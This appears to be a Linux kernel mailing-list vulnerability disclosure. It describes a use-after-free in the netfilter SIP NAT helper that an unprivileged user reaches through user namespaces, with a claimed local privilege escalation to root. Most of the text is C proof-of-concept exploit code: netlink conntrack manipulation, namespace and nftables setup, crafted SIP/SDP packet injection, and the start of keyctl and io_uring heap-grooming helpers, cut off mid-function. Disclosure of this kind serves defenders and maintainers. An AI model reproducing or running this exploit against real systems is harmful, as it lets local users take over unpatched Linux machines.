All of lore.kernel.org
 help / color / mirror / Atom feed
* netfilter: nf_nat_sip expectation UAF permits local privilege escalation
@ 2026-07-10 23:19 Jaeyeong Lee
  2026-07-11  5:29 ` Greg KH
  0 siblings, 1 reply; 10+ messages in thread
From: Jaeyeong Lee @ 2026-07-10 23:19 UTC (permalink / raw)
  To: pablo@netfilter.org, fw@strlen.de
  Cc: phil@nwl.cc, netfilter-devel@vger.kernel.org, security@kernel.org


[-- Attachment #1.1: Type: text/plain, Size: 45165 bytes --]

## Vulnerability Summary

The way nf_conntrack expectations are deleted was changed from synchronous deletion to GC-based deferred deletion, but the SIP NAT helper still assumes that expectations are removed immediately. As a result, the same expectation object that is already linked into the hash/list gets re-inserted with only its port changed, causing list corruption and a use-after-free.

On systems where unprivileged user namespace creation is allowed, an ordinary local user can reach this path from within a user/network namespace that they own. Capabilities in the initial user namespace are not required. On an unpatched mainline kernel, we verified not only a kernel crash but also an LPE leading all the way to root in the initial user namespace.

## Original Introducing Commit

The problem was introduced in the following commit.

b8b09dc2bf35a00d4e0556b5d6308c7b917ebda2
netfilter: nf_conntrack_expect: use conntrack GC to reap expectations

This commit has been included since v7.2-rc1. v7.1 is not affected, while v7.2-rc1 and v7.2-rc2 are affected.

## Behavior Before the Change

The original linux-mainline-head/net/netfilter/nf_conntrack_expect.c:294 internally unlinked the expectation synchronously.

Therefore, after the function returned, the expectation's:

- hnode in the global expectation hash
- lnode in the master conntrack expectation list

were both in a removed state. The caller could change the tuple or port of the same object and pass it again to nf_ct_expect_related().

## Behavior After the Change

After the offending commit, nf_ct_unexpect_related() does not perform the actual unlink and only sets NF_CT_EXPECT_DEAD as follows.

WRITE_ONCE(exp->flags, exp->flags | NF_CT_EXPECT_DEAD);

The object is still linked into the following data structures.

nf_ct_expect_hash[old_bucket] -> exp->hnode
master_help->expectations -> exp->lnode

The actual removal is later performed by GC paths such as nf_ct_expectation_gc().

In other words, the meaning of the function effectively changed as follows.

Before: on return, the object is completely removed from the hash/list
After: on return, only the DEAD flag is set and the object is still linked

## Vulnerable SIP NAT Path

The offending caller is linux-mainline-head/net/netfilter/nf_nat_sip.c:586.

To reserve the RTP and RTCP ports of SIP/SDP, it repeats the following operations.

1. Set the destination port of the RTP expectation to p.
2. Insert the RTP expectation with nf_ct_expect_related(rtp_exp).
3. Set the RTCP expectation's port to p + 1 and insert it.
4. If the RTCP port is already in use and -EBUSY is returned, cancel the RTP expectation.
5. In the next iteration, change the port to p + 2 and reuse the same rtp_exp.

The problematic code is the following flow.

ret = nf_ct_expect_related(rtcp_exp, NF_CT_EXP_F_SKIP_MASTER);
if (ret == -EBUSY) {
nf_ct_unexpect_related(rtp_exp);
continue;
}

This code assumes that nf_ct_unexpect_related(rtp_exp) unlinks the RTP expectation immediately. However, after the change, only the DEAD flag is set and rtp_exp is still linked into the existing hash bucket and master list.

In the next iteration, the port of the same object is changed.

rtp_exp->tuple.dst.u.udp.port = htons(port);
nf_ct_expect_related(rtp_exp, NF_CT_EXP_F_SKIP_MASTER);

## Data Structure Corruption Process

If the original RTP port p and the changed port p + 2 compute to different expectation hash buckets, __nf_ct_expect_check() only inspects the new bucket.

Therefore it fails to find the same rtp_exp that is still linked in the old bucket, and calls nf_ct_expect_insert().

nf_ct_expect_insert() re-inserts the same nodes of an already-linked object.

hlist_add_head_rcu(&exp->lnode, &master_help->expectations);
hlist_add_head_rcu(&exp->hnode, &nf_ct_expect_hash[h]);

As a result:

- The same hnode is re-inserted into a different hash bucket.
- The same lnode is re-inserted into the same master list.
- The lnode may form a cycle pointing to itself.
- A stale entry pointing to the object remains in the previous hash bucket.
- expect_count, expecting[], and exp->use no longer match the actual list membership.
- NF_CT_EXPECT_DEAD also remains set, so the object becomes a GC removal target.

Afterwards, when a GC or conntrack cleanup path unlinks this object, the corrupted list may cause the same object to be processed repeatedly, or nf_ct_expect_put() to be performed more times than the reference count.

Ultimately, even after the expectation object has been freed via RCU, a use-after-free condition is created in which it can still be accessed through the existing hash/list paths.

The observed crash path is as follows.

nf_ct_expectation_gc()
-> nf_ct_unlink_expect_report()
-> corrupted/stale expectation access

The same corruption can also surface during nf_ct_remove_expectations() or the network namespace cleanup process.

## Attack Reachability Conditions

The privileges at the start of the attack are as follows.

uid=1000
CapEff=0
no capabilities in the initial user namespace

When unprivileged user namespace creation is allowed, the attacker can create a user/network namespace that they own, in the same way as unshare -Urn. The required CAP_NET_ADMIN and CAP_NET_RAW are obtained only within this new namespace.

CAP_NET_ADMIN in the initial user namespace is not required.

Within the network namespace they own, the attacker can:

- Set up a NAT flow with the SIP conntrack helper attached,
- Arrange it so that the RTP expectation insertion succeeds but the RTCP expectation insertion becomes -EBUSY, and
- Have SIP/SDP packets processed,

thereby executing the vulnerable reuse path.

## Relevant Configuration

The main configuration relevant to reaching the root bug is as follows.

CONFIG_USER_NS=y
CONFIG_NET_NS=y
CONFIG_NETFILTER=y
CONFIG_NF_CONNTRACK=y
CONFIG_NF_CT_NETLINK=y
CONFIG_NF_CONNTRACK_SIP=y
CONFIG_NF_NAT=y
CONFIG_NF_NAT_SIP=y
CONFIG_NF_TABLES=y
CONFIG_NFT_CT=y
Additionally, the system policy must allow unprivileged user namespace creation.

## poc
#define_GNU_SOURCE

#include<arpa/inet.h>
#include<errno.h>
#include<fcntl.h>
#include<linux/io_uring.h>
#include<linux/if_ether.h>
#include<linux/if_packet.h>
#include<linux/keyctl.h>
#include<linux/netfilter/nf_conntrack_common.h>
#include<linux/netfilter/nf_tables.h>
#include<linux/netfilter/nfnetlink.h>
#include<linux/netfilter/nfnetlink_conntrack.h>
#include<linux/netlink.h>
#include<linux/types.h>
#include<limits.h>
#include<netinet/in.h>
#include<netinet/ip.h>
#include<netinet/udp.h>
#include<net/if.h>
#include<poll.h>
#include<sched.h>
#include<signal.h>
#include<stdarg.h>
#include<stdbool.h>
#include<stdint.h>
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<sys/mman.h>
#include<sys/eventfd.h>
#include<sys/msg.h>
#include<sys/socket.h>
#include<sys/stat.h>
#include<sys/syscall.h>
#include<sys/types.h>
#include<sys/wait.h>
#include<sys/un.h>
#include<time.h>
#include<unistd.h>

#ifndefNLA_F_NESTED
#define NLA_F_NESTED (1U<<15)
#endif
#ifndefNLA_TYPE_MASK
#define NLA_TYPE_MASK ~(NLA_F_NESTED | (1U<<14))
#endif
#ifndefNLA_OK
#define NLA_OK(a, rem) \
((rem) >= (int)sizeof(struct nlattr) &&\
(a)->nla_len>= sizeof(struct nlattr) &&\
(a)->nla_len<= (rem))
#endif
#ifndefNLA_NEXT
#define NLA_NEXT(a, rem) \
((rem) -=NLA_ALIGN((a)->nla_len), \
(struct nlattr *)((char*)(a) +NLA_ALIGN((a)->nla_len)))
#endif
#ifndefNF_CT_EXPECT_PERMANENT
#define NF_CT_EXPECT_PERMANENT 0x1
#endif

#defineARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))
#defineNL_BUFSZ65536

structtuple4{
uint32_tsaddr;
uint32_tdaddr;
uint16_tsport;
uint16_tdport;
uint8_tproto;
};

structnlmsg_buf{
unsignedchardata[8192];
size_tlen;
};

structexp_row{
structtuple4tuple;
structtuple4master;
uint32_tid;
uint32_tclass;
uint32_tflags;
};

structuring{
intfd;
structio_uring_paramsp;
void*sq_ring;
void*cq_ring;
size_tsq_ring_sz;
size_tcq_ring_sz;
structio_uring_sqe*sqes;
unsigned*sq_head;
unsigned*sq_tail;
unsigned*sq_mask;
unsigned*sq_entries;
unsigned*sq_array;
unsigned*cq_head;
unsigned*cq_tail;
unsigned*cq_mask;
structio_uring_cqe*cqes;
unsignedpending;
};

structstale_chain{
structtuple4victim;
structtuple4seed;
uint32_tseed_id;
};

structmsg80{
longtype;
unsignedchardata[80];
};

staticintnlfd=-1;
staticuint32_tnlseq;
staticboolpacket_ready;
staticunsignedchain_serial;

staticvoiddie(constchar*fmt, ...)
{
va_listap;

va_start(ap, fmt);
vfprintf(stderr, fmt, ap);
va_end(ap);
if (errno)
fprintf(stderr, ": %s", strerror(errno));
fputc('\n', stderr);
exit(EXIT_FAILURE);
}

staticvoid*xmalloc(size_tn)
{
void*p=malloc(n);

if (!p)
die("malloc(%zu)", n);
returnp;
}

staticvoidnlmsg_init(structnlmsg_buf*b, uint16_ttype, uint16_tflags,
uint8_tfamily)
{
structnlmsghdr*nlh;
structnfgenmsg*nfg;

memset(b, 0, sizeof(*b));
b->len=NLMSG_LENGTH(sizeof(*nfg));
nlh= (structnlmsghdr*)b->data;
nlh->nlmsg_len=b->len;
nlh->nlmsg_type=type;
nlh->nlmsg_flags=flags;
nlh->nlmsg_seq=++nlseq;
nfg=NLMSG_DATA(nlh);
nfg->nfgen_family =family;
nfg->version = NFNETLINK_V0;
nfg->res_id =htons(0);
}

staticstructnlattr*nla_put(structnlmsg_buf*b, uint16_ttype,
constvoid*data, size_tlen)
{
structnlmsghdr*nlh= (structnlmsghdr*)b->data;
size_traw=NLA_HDRLEN+len;
size_taligned=NLA_ALIGN(raw);
structnlattr*a;

if (b->len+aligned>sizeof(b->data))
die("netlink message overflow");
a= (structnlattr*)(b->data+b->len);
a->nla_type=type;
a->nla_len=raw;
if (len)
memcpy((char*)a+NLA_HDRLEN, data, len);
if (aligned>raw)
memset((char*)a+raw, 0, aligned-raw);
b->len+=aligned;
nlh->nlmsg_len=b->len;
returna;
}

staticvoidnla_put_u8(structnlmsg_buf*b, uint16_ttype, uint8_tv)
{
nla_put(b, type, &v, sizeof(v));
}

staticvoidnla_put_be16(structnlmsg_buf*b, uint16_ttype, uint16_thost)
{
uint16_tv=htons(host);
nla_put(b, type, &v, sizeof(v));
}

staticvoidnla_put_be32_host(structnlmsg_buf*b, uint16_ttype, uint32_thost)
{
uint32_tv=htonl(host);
nla_put(b, type, &v, sizeof(v));
}

staticstructnlattr*nla_nest_start(structnlmsg_buf*b, uint16_ttype)
{
returnnla_put(b, type|NLA_F_NESTED, NULL, 0);
}

staticvoidnla_nest_end(structnlmsg_buf*b, structnlattr*a)
{
a->nla_len= (char*)b->data+b->len- (char*)a;
}

staticvoidput_tuple(structnlmsg_buf*b, uint16_ttype,
conststructtuple4*t)
{
structnlattr*outer=nla_nest_start(b, type);
structnlattr*ip=nla_nest_start(b, CTA_TUPLE_IP);

nla_put(b, CTA_IP_V4_SRC, &t->saddr, sizeof(t->saddr));
nla_put(b, CTA_IP_V4_DST, &t->daddr, sizeof(t->daddr));
nla_nest_end(b, ip);

structnlattr*pr=nla_nest_start(b, CTA_TUPLE_PROTO);
nla_put_u8(b, CTA_PROTO_NUM, t->proto);
nla_put_be16(b, CTA_PROTO_SRC_PORT, ntohs(t->sport));
nla_put_be16(b, CTA_PROTO_DST_PORT, ntohs(t->dport));
nla_nest_end(b, pr);
nla_nest_end(b, outer);
}

staticintnl_open(void)
{
structsockaddr_nlsa= { .nl_family=AF_NETLINK };

nlfd=socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER);
if (nlfd<0)
die("socket(NETLINK_NETFILTER)");
if (bind(nlfd, (structsockaddr*)&sa, sizeof(sa)) <0)
die("bind(NETLINK_NETFILTER)");
returnnlfd;
}

staticintnl_send(conststructnlmsg_buf*b)
{
structsockaddr_nlsa= { .nl_family=AF_NETLINK };
ssize_tn;

n=sendto(nlfd, b->data, b->len, 0, (structsockaddr*)&sa, sizeof(sa));
if (n<0)
return-errno;
if ((size_t)n!=b->len)
return-EIO;
return0;
}

staticintnl_ack(uint32_tseq)
{
unsignedcharbuf[NL_BUFSZ];

for (;;) {
ssize_tn=recv(nlfd, buf, sizeof(buf), 0);
structnlmsghdr*h;

if (n<0) {
if (errno==EINTR)
continue;
return-errno;
}
for (h= (structnlmsghdr*)buf; NLMSG_OK(h, n);
h=NLMSG_NEXT(h, n)) {
if (h->nlmsg_seq!=seq)
continue;
if (h->nlmsg_type==NLMSG_ERROR) {
structnlmsgerr*e=NLMSG_DATA(h);
returne->error;
}
if (h->nlmsg_type==NLMSG_DONE)
return0;
}
}
}

staticintnl_transact(structnlmsg_buf*b)
{
structnlmsghdr*h= (structnlmsghdr*)b->data;
intret=nl_send(b);

if (ret)
returnret;
returnnl_ack(h->nlmsg_seq);
}

staticvoidadd_help(structnlmsg_buf*b, constchar*name)
{
structnlattr*help=nla_nest_start(b, CTA_HELP);

nla_put(b, CTA_HELP_NAME, name, strlen(name) +1);
nla_nest_end(b, help);
}

staticintct_new(conststructtuple4*orig, conststructtuple4*reply,
constchar*helper, uint32_tnat_src, unsignedtimeout)
{
structnlmsg_bufb;

nlmsg_init(&b, (NFNL_SUBSYS_CTNETLINK <<8) | IPCTNL_MSG_CT_NEW,
NLM_F_REQUEST|NLM_F_ACK|NLM_F_CREATE|NLM_F_EXCL,
AF_INET);
put_tuple(&b, CTA_TUPLE_ORIG, orig);
put_tuple(&b, CTA_TUPLE_REPLY, reply);
nla_put_be32_host(&b, CTA_TIMEOUT, timeout);
if (helper)
add_help(&b, helper);
if (nat_src) {
structnlattr*nat=nla_nest_start(&b, CTA_NAT_SRC);
nla_put(&b, CTA_NAT_V4_MINIP, &nat_src, sizeof(nat_src));
nla_put(&b, CTA_NAT_V4_MAXIP, &nat_src, sizeof(nat_src));
nla_nest_end(&b, nat);
}
returnnl_transact(&b);
}

staticintct_del(conststructtuple4*orig)
{
structnlmsg_bufb;

nlmsg_init(&b, (NFNL_SUBSYS_CTNETLINK <<8) | IPCTNL_MSG_CT_DELETE,
NLM_F_REQUEST|NLM_F_ACK, AF_INET);
put_tuple(&b, CTA_TUPLE_ORIG, orig);
returnnl_transact(&b);
}

staticintexp_new(conststructtuple4*master, conststructtuple4*tuple,
conststructtuple4*mask, unsignedclass, unsignedflags,
unsignedtimeout)
{
structnlmsg_bufb;

nlmsg_init(&b, (NFNL_SUBSYS_CTNETLINK_EXP <<8) | IPCTNL_MSG_EXP_NEW,
NLM_F_REQUEST|NLM_F_ACK|NLM_F_CREATE|NLM_F_EXCL,
AF_INET);
put_tuple(&b, CTA_EXPECT_MASTER, master);
put_tuple(&b, CTA_EXPECT_TUPLE, tuple);
put_tuple(&b, CTA_EXPECT_MASK, mask);
nla_put_be32_host(&b, CTA_EXPECT_TIMEOUT, timeout);
nla_put_be32_host(&b, CTA_EXPECT_CLASS, class);
if (flags)
nla_put_be32_host(&b, CTA_EXPECT_FLAGS, flags);
returnnl_transact(&b);
}

staticintexp_del(conststructtuple4*tuple)
{
structnlmsg_bufb;

nlmsg_init(&b, (NFNL_SUBSYS_CTNETLINK_EXP <<8) | IPCTNL_MSG_EXP_DELETE,
NLM_F_REQUEST|NLM_F_ACK, AF_INET);
put_tuple(&b, CTA_EXPECT_TUPLE, tuple);
returnnl_transact(&b);
}

staticintexp_del_id(conststructtuple4*tuple, uint32_tid)
{
structnlmsg_bufb;

nlmsg_init(&b, (NFNL_SUBSYS_CTNETLINK_EXP <<8) | IPCTNL_MSG_EXP_DELETE,
NLM_F_REQUEST|NLM_F_ACK, AF_INET);
put_tuple(&b, CTA_EXPECT_TUPLE, tuple);
nla_put(&b, CTA_EXPECT_ID, &id, sizeof(id));
returnnl_transact(&b);
}

staticstructnlattr*nla_find(constvoid*data, size_tlen, unsignedtype)
{
structnlattr*a;

for (a= (structnlattr*)data; NLA_OK(a, len); a=NLA_NEXT(a, len))
if ((a->nla_type&NLA_TYPE_MASK) ==type)
returna;
returnNULL;
}

staticboolparse_tuple_attr(structnlattr*outer, structtuple4*t)
{
size_tlen=outer->nla_len-NLA_HDRLEN;
void*data= (char*)outer+NLA_HDRLEN;
structnlattr*ip=nla_find(data, len, CTA_TUPLE_IP);
structnlattr*pr=nla_find(data, len, CTA_TUPLE_PROTO);
structnlattr*a;
size_tilen, plen;

if (!ip||!pr)
returnfalse;
memset(t, 0, sizeof(*t));
ilen=ip->nla_len-NLA_HDRLEN;
a=nla_find((char*)ip+NLA_HDRLEN, ilen, CTA_IP_V4_SRC);
if (a)
memcpy(&t->saddr, (char*)a+NLA_HDRLEN, 4);
a=nla_find((char*)ip+NLA_HDRLEN, ilen, CTA_IP_V4_DST);
if (a)
memcpy(&t->daddr, (char*)a+NLA_HDRLEN, 4);
plen=pr->nla_len-NLA_HDRLEN;
a=nla_find((char*)pr+NLA_HDRLEN, plen, CTA_PROTO_NUM);
if (a)
memcpy(&t->proto, (char*)a+NLA_HDRLEN, 1);
a=nla_find((char*)pr+NLA_HDRLEN, plen, CTA_PROTO_SRC_PORT);
if (a)
memcpy(&t->sport, (char*)a+NLA_HDRLEN, 2);
a=nla_find((char*)pr+NLA_HDRLEN, plen, CTA_PROTO_DST_PORT);
if (a)
memcpy(&t->dport, (char*)a+NLA_HDRLEN, 2);
returntrue;
}

staticsize_texp_dump_for(conststructtuple4*master,
structexp_row*rows, size_tcap)
{
structnlmsg_bufb;
structnlmsghdr*req;
unsignedcharbuf[NL_BUFSZ];
size_tnr=0;
booldone=false;
intret;

nlmsg_init(&b, (NFNL_SUBSYS_CTNETLINK_EXP <<8) | IPCTNL_MSG_EXP_GET,
NLM_F_REQUEST|NLM_F_DUMP, AF_INET);
if (master)
put_tuple(&b, CTA_EXPECT_MASTER, master);
req= (structnlmsghdr*)b.data;
ret=nl_send(&b);
if (ret)
die("expectation dump send: %s", strerror(-ret));
while (!done) {
ssize_tn=recv(nlfd, buf, sizeof(buf), 0);
structnlmsghdr*h;

if (n<0) {
if (errno==EINTR)
continue;
die("expectation dump recv");
}
for (h= (structnlmsghdr*)buf; NLMSG_OK(h, n);
h=NLMSG_NEXT(h, n)) {
structnfgenmsg*nfg;
structnlattr*attrs, *ta, *ma, *ia, *ca, *fa;
size_talen;

if (h->nlmsg_seq!=req->nlmsg_seq)
continue;
if (h->nlmsg_type==NLMSG_DONE) {
done=true;
break;
}
if (h->nlmsg_type==NLMSG_ERROR) {
structnlmsgerr*e=NLMSG_DATA(h);
if (e->error)
die("expectation dump: %s", strerror(-e->error));
done=true;
break;
}
if (nr==cap)
die("expectation dump capacity");
nfg=NLMSG_DATA(h);
attrs= (structnlattr*)((char*)nfg+NLMSG_ALIGN(sizeof(*nfg)));
alen=h->nlmsg_len-NLMSG_LENGTH(sizeof(*nfg));
ta=nla_find(attrs, alen, CTA_EXPECT_TUPLE);
if (!ta||!parse_tuple_attr(ta, &rows[nr].tuple))
continue;
memset(&rows[nr].master, 0, sizeof(rows[nr].master));
rows[nr].id=rows[nr].class=rows[nr].flags=0;
ma=nla_find(attrs, alen, CTA_EXPECT_MASTER);
ia=nla_find(attrs, alen, CTA_EXPECT_ID);
ca=nla_find(attrs, alen, CTA_EXPECT_CLASS);
fa=nla_find(attrs, alen, CTA_EXPECT_FLAGS);
if (ma)
parse_tuple_attr(ma, &rows[nr].master);
if (ia&&ia->nla_len>=NLA_HDRLEN+sizeof(uint32_t))
memcpy(&rows[nr].id, (char*)ia+NLA_HDRLEN,
sizeof(rows[nr].id));
if (ca)
rows[nr].class=ntohl(*(uint32_t*)((char*)ca+NLA_HDRLEN));
if (fa)
rows[nr].flags=ntohl(*(uint32_t*)((char*)fa+NLA_HDRLEN));
nr++;
}
}
returnnr;
}

staticsize_texp_dump(structexp_row*rows, size_tcap)
{
returnexp_dump_for(NULL, rows, cap);
}

staticsize_texp_dump_master(conststructtuple4*master,
structexp_row*rows, size_tcap)
{
returnexp_dump_for(master, rows, cap);
}

staticintrow_pos(conststructexp_row*rows, size_tnr, uint32_tdaddr,
unsigneddport)
{
for (size_ti=0; i<nr; i++)
if (rows[i].tuple.daddr==daddr&&ntohs(rows[i].tuple.dport) ==dport)
returni;
return-1;
}

staticstructtuple4exp_tuple(uint32_tdst, unsignedport);
staticstructtuple4exp_mask(boolexact_source);

staticvoidexpect_pair_add(conststructtuple4*master, uint32_tdaddr,
unsignedfirst, unsignedsecond)
{
structtuple4mask=exp_mask(true);
structtuple4a=exp_tuple(daddr, first);
structtuple4b=exp_tuple(daddr, second);
intret;

a.saddr=b.saddr=inet_addr("192.0.2.20");
a.sport=b.sport=htons(40000);
ret=exp_new(master, &a, &mask, 1, 0, 3600);
if (ret)
die("expect marker %u: %s", first, strerror(-ret));
ret=exp_new(master, &b, &mask, 1, 0, 3600);
if (ret)
die("expect marker %u: %s", second, strerror(-ret));
}

staticvoidexpect_pair_del(uint32_tdaddr, unsigneda_port, unsignedb_port)
{
structtuple4a=exp_tuple(daddr, a_port);
structtuple4b=exp_tuple(daddr, b_port);
intret;

a.saddr=b.saddr=inet_addr("192.0.2.20");
a.sport=b.sport=htons(40000);
ret=exp_del(&a);
if (ret)
die("delete expect marker %u: %s", a_port, strerror(-ret));
ret=exp_del(&b);
if (ret)
die("delete expect marker %u: %s", b_port, strerror(-ret));
}

staticintexpect_pair_order(uint32_tdaddr, unsigneda_port,
unsignedb_port)
{
structexp_rowrows[32];
size_tnr=exp_dump(rows, ARRAY_SIZE(rows));
inta=row_pos(rows, nr, daddr, a_port);
intb=row_pos(rows, nr, daddr, b_port);

if (a<0||b<0||a==b)
die("expectation dump lost markers %u/%u", a_port, b_port);
returna<b?-1:1;
}

staticboolsame_expect_bucket(conststructtuple4*master, uint32_tdaddr,
unsigneda_port, unsignedb_port)
{
intab, ba;

expect_pair_add(master, daddr, a_port, b_port);
ab=expect_pair_order(daddr, a_port, b_port);
expect_pair_del(daddr, a_port, b_port);

expect_pair_add(master, daddr, b_port, a_port);
ba=expect_pair_order(daddr, a_port, b_port);
expect_pair_del(daddr, a_port, b_port);

returnab!=ba;
}

staticunsignedfind_sip_hash_port(conststructtuple4*master, uint32_tdaddr)
{
for (unsignedp=1024; p<=65530; p+=2) {
if (!same_expect_bucket(master, daddr, p, p+3))
continue;
if (same_expect_bucket(master, daddr, p, p+2))
continue;
returnp;
}
die("no suitable SIP expectation hash relation");
return0;
}

staticstructtuple4tuple_make(constchar*saddr, unsignedsport,
constchar*daddr, unsigneddport)
{
structtuple4t= {
.saddr=inet_addr(saddr),
.daddr=inet_addr(daddr),
.sport=htons(sport),
.dport=htons(dport),
.proto= IPPROTO_UDP,
};

returnt;
}

staticstructtuple4tuple_reply(conststructtuple4*o)
{
structtuple4r= {
.saddr=o->daddr,
.daddr=o->saddr,
.sport=o->dport,
.dport=o->sport,
.proto=o->proto,
};

returnr;
}

staticbooltuple_equal(conststructtuple4*a, conststructtuple4*b)
{
returna->saddr==b->saddr&&a->daddr==b->daddr&&
a->sport==b->sport&&a->dport==b->dport&&
a->proto==b->proto;
}

staticstructtuple4exp_tuple(uint32_tdst, unsignedport)
{
structtuple4t= {
.saddr=0,
.daddr=dst,
.sport=0,
.dport=htons(port),
.proto= IPPROTO_UDP,
};

returnt;
}

staticstructtuple4exp_mask(boolexact_source)
{
structtuple4m= {
.saddr=exact_source?0xffffffffU:0,
.daddr=0xffffffffU,
.sport=exact_source?0xffffU:0,
.dport=0xffffU,
.proto=0xff,
};

returnm;
}

staticintrun_cmd(constchar*cmd)
{
intst=system(cmd);

if (st==-1)
return-errno;
if (!WIFEXITED(st) ||WEXITSTATUS(st))
return-ECHILD;
return0;
}

staticintpin_last_cpu(void)
{
cpu_set_tallowed, one;
intcpu=-1;

CPU_ZERO(&allowed);
if (sched_getaffinity(0, sizeof(allowed), &allowed) <0)
die("sched_getaffinity");
for (inti=0; i< CPU_SETSIZE; i++)
if (CPU_ISSET(i, &allowed))
cpu=i;
if (cpu<0)
die("no allowed CPU");
CPU_ZERO(&one);
CPU_SET(cpu, &one);
if (sched_setaffinity(0, sizeof(one), &one) <0)
die("sched_setaffinity(%d)", cpu);
returncpu;
}

staticvoidnetns_setup(void)
{
if (run_cmd("/usr/sbin/ip link set lo up") ||
run_cmd("/usr/sbin/nft add table ip lpe") ||
run_cmd("/usr/sbin/nft 'add ct helper ip lpe sip { type \"sip\" protocol udp; }'"))
die("net namespace netfilter setup failed");
}

staticvoidpacket_path_setup(void)
{
if (run_cmd("/usr/sbin/ip link add v0 type veth peer name v1") ||
run_cmd("/usr/sbin/ip link set v0 address 02:00:00:00:00:10") ||
run_cmd("/usr/sbin/ip link set v1 address 02:00:00:00:00:11") ||
run_cmd("/usr/sbin/ip address add 10.23.0.1/32 dev v1") ||
run_cmd("/usr/sbin/ip link set v0 up") ||
run_cmd("/usr/sbin/ip link set v1 up") ||
run_cmd("/usr/sbin/ip route add 10.23.0.2/32 dev v1"))
die("veth setup failed");
}

staticuint16_tipv4_checksum(constvoid*data, size_tlen)
{
constunsignedchar*p=data;
uint32_tsum=0;

while (len>=2) {
sum+= ((uint16_t)p[0] <<8) |p[1];
p+=2;
len-=2;
}
if (len)
sum+= (uint16_t)p[0] <<8;
while (sum>>16)
sum= (sum&0xffff) + (sum>>16);
returnhtons((uint16_t)~sum);
}

staticvoidsend_sip_sdp(unsignedmedia_port)
{
staticconstunsignedchardst_mac[ETH_ALEN] =
{ 0x02, 0x00, 0x00, 0x00, 0x00, 0x11 };
staticconstunsignedcharsrc_mac[ETH_ALEN] =
{ 0x02, 0x00, 0x00, 0x00, 0x00, 0x10 };
charbody[512], payload[1024];
structsockaddr_llsa= { .sll_family =AF_PACKET };
structethhdr*eth;
structiphdr*ip;
structudphdr*udp;
unsignedchar*frame;
size_tbody_len, payload_len, frame_len;
intfd, n;

n=snprintf(body, sizeof(body),
"v=0\r\n"
"o=- 0 0 IN IP4 10.23.0.2\r\n"
"c=IN IP4 10.23.0.2\r\n"
"m=audio %u RTP/AVP 0\r\n", media_port);
if (n<0|| (size_t)n>=sizeof(body))
die("SDP body formatting");
body_len=n;
n=snprintf(payload, sizeof(payload),
"ACK sip:10.23.0.1 SIP/2.0\r\n"
"CSeq: 1 ACK\r\n"
"Content-Type: application/sdp\r\n"
"Content-Length: %zu\r\n"
"\r\n%s", body_len, body);
if (n<0|| (size_t)n>=sizeof(payload))
die("SIP packet formatting");
payload_len=n;
frame_len=sizeof(*eth) +sizeof(*ip) +sizeof(*udp) +payload_len;
frame=calloc(1, frame_len);
if (!frame)
die("calloc SIP frame");
eth= (structethhdr*)frame;
ip= (structiphdr*)(eth+1);
udp= (structudphdr*)(ip+1);
memcpy(eth->h_dest, dst_mac, ETH_ALEN);
memcpy(eth->h_source, src_mac, ETH_ALEN);
eth->h_proto =htons(ETH_P_IP);
ip->version =4;
ip->ihl =5;
ip->tot_len =htons(sizeof(*ip) +sizeof(*udp) +payload_len);
ip->id =htons(0x1234);
ip->ttl =64;
ip->protocol = IPPROTO_UDP;
ip->saddr =inet_addr("10.23.0.2");
ip->daddr =inet_addr("10.23.0.1");
ip->check =ipv4_checksum(ip, sizeof(*ip));
udp->source =htons(40000);
udp->dest =htons(5060);
udp->len =htons(sizeof(*udp) +payload_len);
udp->check =0;
memcpy(udp+1, payload, payload_len);

fd=socket(AF_PACKET, SOCK_RAW | SOCK_CLOEXEC, htons(ETH_P_IP));
if (fd<0)
die("socket(AF_PACKET)");
sa.sll_protocol =htons(ETH_P_IP);
sa.sll_ifindex =if_nametoindex("v0");
sa.sll_halen = ETH_ALEN;
memcpy(sa.sll_addr, dst_mac, ETH_ALEN);
if (!sa.sll_ifindex)
die("if_nametoindex(v0)");
if (sendto(fd, frame, frame_len, 0,
(structsockaddr*)&sa, sizeof(sa)) != (ssize_t)frame_len)
die("send SIP frame");
close(fd);
free(frame);
}

staticvoidverify_clean_sip(unsignedport, uint32_tnat_addr)
{
structtuple4v=tuple_make("10.23.0.2", 40000,
"10.23.0.1", 5060);
structtuple4reply=tuple_reply(&v);
structtuple4e=exp_tuple(nat_addr, port);
structtuple4r=exp_tuple(nat_addr, port+1);
structexp_rowrows[32];
size_tnr;
intret;

ret=ct_new(&v, &reply, "sip", nat_addr, 3600);
if (ret)
die("create NAT SIP master: %s", strerror(-ret));
packet_path_setup();
send_sip_sdp(port);
fprintf(stderr, "stage: SIP duplicate insertion reached\n");
nr=exp_dump(rows, ARRAY_SIZE(rows));
if (row_pos(rows, nr, nat_addr, port) <0||
row_pos(rows, nr, nat_addr, port+1) <0)
die("clean SIP packet did not create RTP/RTCP expectations");
e.saddr=r.saddr=inet_addr("10.23.0.1");
ret=exp_del(&e);
if (ret)
die("delete clean RTP expectation: %s", strerror(-ret));
ret=exp_del(&r);
if (ret)
die("delete clean RTCP expectation: %s", strerror(-ret));
ret=ct_del(&v);
if (ret)
die("delete clean SIP master: %s", strerror(-ret));
printf("clean SIP/NAT helper path verified\n");
}

staticlongadd_user_key(constunsignedchar*desc, size_tdlen,
constvoid*payload, size_tplen)
{
char*s=xmalloc(dlen+1);
longid;

memcpy(s, desc, dlen);
s[dlen] =0;
id=syscall(SYS_add_key, "user", s, payload, plen,
KEY_SPEC_PROCESS_KEYRING);
free(s);
returnid;
}

staticlongupdate_user_key(longid, constvoid*payload, size_tplen)
{
returnsyscall(SYS_keyctl, KEYCTL_UPDATE, id, payload, plen, 0);
}

staticlongread_user_key(longid, void*buffer, size_tbuflen)
{
returnsyscall(SYS_keyctl, KEYCTL_READ, id, buffer, buflen, 0);
}

staticvoiduring_init(structuring*r, unsignedentries)
{
size_tring_sz;

memset(r, 0, sizeof(*r));
r->fd=syscall(SYS_io_uring_setup, entries, &r->p);
if (r->fd<0)
die("io_uring_setup");
r->sq_ring_sz=r->p.sq_off.array+
r->p.sq_entries*sizeof(unsigned);
r->cq_ring_sz=r->p.cq_off.cqes+
r->p.cq_entries*sizeof(structio_uring_cqe);
if (r->p.features&IORING_FEAT_SINGLE_MMAP) {
ring_sz=r->sq_ring_sz>r->cq_ring_sz?
r->sq_ring_sz:r->cq_ring_sz;
r->sq_ring=mmap(NULL, ring_sz, PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_POPULATE, r->fd,
IORING_OFF_SQ_RING);
if (r->sq_ring== MAP_FAILED)
die("mmap io_uring rings");
